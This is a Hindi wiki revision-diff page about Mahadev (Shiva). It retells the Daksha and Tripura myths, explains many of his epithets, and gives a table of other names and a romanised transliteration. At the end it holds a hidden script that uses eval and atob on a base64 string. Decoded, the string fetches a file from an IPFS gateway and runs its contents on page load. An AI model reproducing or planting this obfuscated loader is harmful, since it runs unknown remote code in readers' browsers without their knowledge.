Difference between revisions of "महादेव"
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*महादेव कल्याणकारी होने के कारण [[शिव]] कहलाते हैं तथा | *महादेव कल्याणकारी होने के कारण [[शिव]] कहलाते हैं तथा | ||
| − | *रू (दु:ख) का नाम करने के कारण रुद्र नाम से अभिहित हैं। वे प्रसन्न भी शीघ्र होते हैं और रुष्ट भी। एक बार शिव [[दक्ष]] पर कुपित हो गये थे। उन्होंने विधि-विधान से किये जाने वाले यज्ञ को तथा प्रकृति के समस्त मूल तत्त्वों को नष्ट कर डाला। पूषा <ref> | + | *रू (दु:ख) का नाम करने के कारण रुद्र नाम से अभिहित हैं। वे प्रसन्न भी शीघ्र होते हैं और रुष्ट भी। एक बार शिव [[दक्ष]] पर कुपित हो गये थे। उन्होंने विधि-विधान से किये जाने वाले यज्ञ को तथा प्रकृति के समस्त मूल तत्त्वों को नष्ट कर डाला। पूषा <ref>सूर्य, बारह आदित्यों में से एक</ref> पर आक्रमण किया। वह पुरोडाश (यव, तंडुल) खा रहा था। शिव ने उसके समस्त दांत तोड़ डालें। [[देवता|देवताओं]] आदि ने भयभीत होकर शिव की शरण ग्रहण की, तब यज्ञ पूर्ण हो पाया। |
*पूर्वकाल में तीन असुरों ने आकाश में तीन नगरों का निर्माण किया: | *पूर्वकाल में तीन असुरों ने आकाश में तीन नगरों का निर्माण किया: | ||
| − | #लोहे का- विद्युन्माली के अधिकार में, | + | #[[लोहा|लोहे]] का- [[विद्युन्माली]] के अधिकार में, |
| − | #चांदी का- तारकाक्ष के अधिकार में तथा | + | #[[चांदी]] का- तारकाक्ष के अधिकार में तथा |
#सोने का- कमलाक्ष के अधिकार में था। | #सोने का- कमलाक्ष के अधिकार में था। | ||
| − | *[[इन्द्र]] अनेक प्रयत्नों के उपरांत भी उन पर विजय प्राप्त न कर पाया, तो उसने शिव की शरण ग्रहण की। शिव ने गंधमादन और विंध्याचल को रथ की पार्श्ववर्ती दो ध्वजाओं के रूप में ग्रहण किया। पृथ्वी को रथ, शेष को रथ का धुरा, [[चंद्र देवता|चंद्र]]-[[सूर्य देवता|सूर्य]] को पहिये, एलपत्र के पुत्र और पुष्पदंत को जुए की कीलें बनाया, मलयाजल को यूप, [[तक्षक]] को जुआ बांधने की रस्सी, [[वेद|वेदों]] को घोड़े तथा उपवेदों को लगाम और [[गायत्री]] तथा [[सावित्री]] को प्रग्रह बना लिया। तदुपरांत ओंकार को चाबुक, [[ब्रह्मा]] को सारथी, मंदराचल को गांडीव, [[वासुकि]] नाग को प्रत्यंचा, [[विष्णु]] को उत्तम बाण, [[अग्निदेव|अग्नि]] को बाण का फल, [[वायु देव|वायु]] को उसके पंख तथा वैवस्वत यम को उसकी पूंछ बनाकर मेरूपर्वत को प्रधान ध्वजा का स्थान दिया। इस प्रकार घमासान युद्ध के लिए कटिबद्ध हो शिव ने त्रिपुर पर आक्रमण कर उन्हें विदीर्ण कर डाला। उसी समय [[पार्वती देवी|पार्वती]] एक पांच शिखा वाले बालक को गोद में लेकर देवताओं के सम्मुख आयीं और पूछने लगीं कि क्या वे लोग उस बालक को पहचानते हैं? इन्द्र ने बालक पर वज्र से प्रहार करना चाहा, पर हंसकर शिव ने उनकी भुजा स्तंभित कर दी। इन्द्र सहित समस्त देवता ब्रह्मा के पास पहुंचे। ब्रह्मा ने बताया कि पार्वती को प्रसन्न करने के निमित्त बाल रूप में शिव ही थे। वे एक होकर भी अनेक रूपधारी हैं। उनकी आराधना करने से इन्द्र की बांह पूर्ववत ठीक हो पायी। शिव का व्यक्तित्व विशाल है, अनेक आयामों से देखकर उनके अनेक नाम रखे गये हैं: | + | *[[इन्द्र]] अनेक प्रयत्नों के उपरांत भी उन पर विजय प्राप्त न कर पाया, तो उसने शिव की शरण ग्रहण की। शिव ने [[गंधमादन पर्वत|गंधमादन]] और विंध्याचल को रथ की पार्श्ववर्ती दो ध्वजाओं के रूप में ग्रहण किया। पृथ्वी को रथ, शेष को रथ का धुरा, [[चंद्र देवता|चंद्र]]-[[सूर्य देवता|सूर्य]] को पहिये, एलपत्र के पुत्र और पुष्पदंत को जुए की कीलें बनाया, मलयाजल को यूप, [[तक्षक]] को जुआ बांधने की रस्सी, [[वेद|वेदों]] को घोड़े तथा उपवेदों को लगाम और [[गायत्री]] तथा [[सावित्री देवी|सावित्री]] को प्रग्रह बना लिया। तदुपरांत ओंकार को चाबुक, [[ब्रह्मा]] को सारथी, [[मंदराचल पर्वत|मंदराचल]] को गांडीव, [[वासुकि]] नाग को प्रत्यंचा, [[विष्णु]] को उत्तम बाण, [[अग्निदेव|अग्नि]] को बाण का फल, [[वायु देव|वायु]] को उसके पंख तथा वैवस्वत यम को उसकी पूंछ बनाकर मेरूपर्वत को प्रधान ध्वजा का स्थान दिया। इस प्रकार घमासान युद्ध के लिए कटिबद्ध हो शिव ने [[त्रिपुर]] पर आक्रमण कर उन्हें विदीर्ण कर डाला। उसी समय [[पार्वती देवी|पार्वती]] एक पांच शिखा वाले बालक को गोद में लेकर देवताओं के सम्मुख आयीं और पूछने लगीं कि क्या वे लोग उस बालक को पहचानते हैं? इन्द्र ने बालक पर वज्र से प्रहार करना चाहा, पर हंसकर शिव ने उनकी भुजा स्तंभित कर दी। इन्द्र सहित समस्त देवता ब्रह्मा के पास पहुंचे। ब्रह्मा ने बताया कि पार्वती को प्रसन्न करने के निमित्त बाल रूप में शिव ही थे। वे एक होकर भी अनेक रूपधारी हैं। उनकी आराधना करने से इन्द्र की बांह पूर्ववत ठीक हो पायी। शिव का व्यक्तित्व विशाल है, अनेक आयामों से देखकर उनके अनेक नाम रखे गये हैं: |
#महेश्वर- महाभूतों के ईश्वर होने के कारण तथा सूंपूर्ण लोकों की महिमा से युक्त। | #महेश्वर- महाभूतों के ईश्वर होने के कारण तथा सूंपूर्ण लोकों की महिमा से युक्त। | ||
#बडवामुख- समुद्र में स्थित मुख जलमय हविष्य का पान करता है। | #बडवामुख- समुद्र में स्थित मुख जलमय हविष्य का पान करता है। | ||
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#त्र्यंबक- आकाश, जल, [[पृथ्वी देवी|पृथ्वी]] तीनों अंबास्वरूपा देवियों को अपनाते हैं। | #त्र्यंबक- आकाश, जल, [[पृथ्वी देवी|पृथ्वी]] तीनों अंबास्वरूपा देवियों को अपनाते हैं। | ||
#शिव- कल्याणकारी, समृद्धि देनेवाले हैं। | #शिव- कल्याणकारी, समृद्धि देनेवाले हैं। | ||
| − | #महादेव- | + | #महादेव- महान् विश्व का पालन करते हैं। |
#स्थाणु- लिंगमय शरीर सदैव स्थिर रहता है। | #स्थाणु- लिंगमय शरीर सदैव स्थिर रहता है। | ||
#व्योमकेश- सूर्य-चंद्रमा की किरणें जो कि आकाश में प्रकाशित होती हैं, उनके केश माने गये हैं। | #व्योमकेश- सूर्य-चंद्रमा की किरणें जो कि आकाश में प्रकाशित होती हैं, उनके केश माने गये हैं। | ||
| − | #भूतभव्यभवोद्भय- तीनों कालों में | + | #भूतभव्यभवोद्भय- तीनों कालों में जगत् का विस्तार करनेवाले हैं। |
#वृषाकपि- कपि अर्थात श्रेष्ठ, वृष धर्म का नाम है। | #वृषाकपि- कपि अर्थात श्रेष्ठ, वृष धर्म का नाम है। | ||
#हर- सब देवताओं को काबू में करके उनका ऐश्वर्य हरनेवाले। | #हर- सब देवताओं को काबू में करके उनका ऐश्वर्य हरनेवाले। | ||
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#श्रीकंठ- शिव की श्री प्राप्त करने की इच्छा से इन्द्र ने वज्र का प्रहार किया था। वज्र शिव ने कंठ को दग्ध कर गया था, अत: वे श्रीकंठ कहलाते हैं। <ref>[[महाभारत]], [[द्रोण पर्व महाभारत|द्रोणपर्व]], 202। दानधर्मपर्व, 141 । 8 | #श्रीकंठ- शिव की श्री प्राप्त करने की इच्छा से इन्द्र ने वज्र का प्रहार किया था। वज्र शिव ने कंठ को दग्ध कर गया था, अत: वे श्रीकंठ कहलाते हैं। <ref>[[महाभारत]], [[द्रोण पर्व महाभारत|द्रोणपर्व]], 202। दानधर्मपर्व, 141 । 8 | ||
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| − | {| class=" | + | {| class="bharattable" border="1" |
|+ भगवान शिव के अन्य नाम | |+ भगवान शिव के अन्य नाम | ||
| [[सर्वज्ञ (शिव)|सर्वज्ञ]] | | [[सर्वज्ञ (शिव)|सर्वज्ञ]] | ||
| Line 44: | Line 45: | ||
| [[शर्व (शिव)|शर्व]] | | [[शर्व (शिव)|शर्व]] | ||
| [[भूतेश (शिव)|भूतेश]] | | [[भूतेश (शिव)|भूतेश]] | ||
| − | | [[ | + | | [[पिनाकिन्]] |
| [[खण्डपरशु]] | | [[खण्डपरशु]] | ||
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| [[मृड]] | | [[मृड]] | ||
| [[मृत्युंजय]] | | [[मृत्युंजय]] | ||
| − | | [[ | + | | [[कृत्तिवासस]] |
| [[गिरिश]] | | [[गिरिश]] | ||
| [[प्रमथाधिप]] | | [[प्रमथाधिप]] | ||
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| [[शितकिण्ठ (शिव)|शितकिण्ठ]] | | [[शितकिण्ठ (शिव)|शितकिण्ठ]] | ||
| − | | [[ | + | | [[कपालभृत]] |
| − | | [[वामदेव]] | + | | [[वामदेव (शिव)]] |
| − | | [[ | + | | [[महादेव]] |
| [[विरूपाक्ष]] | | [[विरूपाक्ष]] | ||
| [[त्रिलोचन]] | | [[त्रिलोचन]] | ||
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| [[स्थाणु]] | | [[स्थाणु]] | ||
| [[उमापति]] | | [[उमापति]] | ||
| − | | [[ | + | | [[गिरीश (शिव)|गिरीश]] |
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| + | | [[यतिनाथ]] | ||
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[[Category:हिन्दू देवी-देवता]] | [[Category:हिन्दू देवी-देवता]] | ||
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Latest revision as of 11:15, 1 August 2017
- mahadev kalyanakari hone ke karan shiv kahalate haian tatha
- roo (du:kh) ka nam karane ke karan rudr nam se abhihit haian. ve prasann bhi shighr hote haian aur rusht bhi. ek bar shiv daksh par kupit ho gaye the. unhoanne vidhi-vidhan se kiye jane vale yajn ko tatha prakriti ke samast mool tattvoan ko nasht kar dala. poosha [1] par akraman kiya. vah purodash (yav, tandul) kha raha tha. shiv ne usake samast daant to d dalean. devataoan adi ne bhayabhit hokar shiv ki sharan grahan ki, tab yajn poorn ho paya.
- poorvakal mean tin asuroan ne akash mean tin nagaroan ka nirman kiya:
- lohe ka- vidyunmali ke adhikar mean,
- chaandi ka- tarakaksh ke adhikar mean tatha
- sone ka- kamalaksh ke adhikar mean tha.
- indr anek prayatnoan ke uparaant bhi un par vijay prapt n kar paya, to usane shiv ki sharan grahan ki. shiv ne gandhamadan aur viandhyachal ko rath ki parshvavarti do dhvajaoan ke roop mean grahan kiya. prithvi ko rath, shesh ko rath ka dhura, chandr-soory ko pahiye, elapatr ke putr aur pushpadant ko jue ki kilean banaya, malayajal ko yoop, takshak ko jua baandhane ki rassi, vedoan ko gho de tatha upavedoan ko lagam aur gayatri tatha savitri ko pragrah bana liya. taduparaant oankar ko chabuk, brahma ko sarathi, mandarachal ko gaandiv, vasuki nag ko pratyancha, vishnu ko uttam ban, agni ko ban ka phal, vayu ko usake pankh tatha vaivasvat yam ko usaki pooanchh banakar merooparvat ko pradhan dhvaja ka sthan diya. is prakar ghamasan yuddh ke lie katibaddh ho shiv ne tripur par akraman kar unhean vidirn kar dala. usi samay parvati ek paanch shikha vale balak ko god mean lekar devataoan ke sammukh ayian aur poochhane lagian ki kya ve log us balak ko pahachanate haian? indr ne balak par vajr se prahar karana chaha, par hansakar shiv ne unaki bhuja stanbhit kar di. indr sahit samast devata brahma ke pas pahuanche. brahma ne bataya ki parvati ko prasann karane ke nimitt bal roop mean shiv hi the. ve ek hokar bhi anek roopadhari haian. unaki aradhana karane se indr ki baanh poorvavat thik ho payi. shiv ka vyaktitv vishal hai, anek ayamoan se dekhakar unake anek nam rakhe gaye haian:
- maheshvar- mahabhootoan ke eeshvar hone ke karan tatha sooanpoorn lokoan ki mahima se yukt.
- badavamukh- samudr mean sthit mukh jalamay havishy ka pan karata hai.
- anant rudr- yajurved mean shataroopriy namak stuti hai.
- vibhu aur prabhu- vishv vyapak hone ke karan.
- pashupati- sarpapashuoan ka palan karane ke karan.
- bahuroop- anek roop hone ke karan.
- sarvavishvaroop- sab lokoan mean samavisht haian.
- dhoorjati- dhoomravarn haian.
- tryanbak- akash, jal, prithvi tinoan aanbasvaroopa deviyoan ko apanate haian.
- shiv- kalyanakari, samriddhi denevale haian.
- mahadev- mahanh vishv ka palan karate haian.
- sthanu- liangamay sharir sadaiv sthir rahata hai.
- vyomakesh- soory-chandrama ki kiranean jo ki akash mean prakashit hoti haian, unake kesh mane gaye haian.
- bhootabhavyabhavodbhay- tinoan kaloan mean jagath ka vistar karanevale haian.
- vrishakapi- kapi arthat shreshth, vrish dharm ka nam hai.
- har- sab devataoan ko kaboo mean karake unaka aishvary haranevale.
- trinetr- apane lalat par balapoorvak tisara netr utpann kiya tha.
- rudr- raudr bhav ke karan.
- som- jangha se oopar ka bhag somamay hai. vah devataoan ke kam ata hai aur agni- jangha ke niche ka bhag agnivath hai. manushy-lok mean agni athava 'ghor' sharir ka upayog hota hai.
- shrikanth- shiv ki shri prapt karane ki ichchha se indr ne vajr ka prahar kiya tha. vajr shiv ne kanth ko dagdh kar gaya tha, at: ve shrikanth kahalate haian. [2]
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tika tippani aur sandarbh
- ↑ soory, barah adityoan mean se ek
- ↑ mahabharat, dronaparv, 202. danadharmaparv, 141 . 8
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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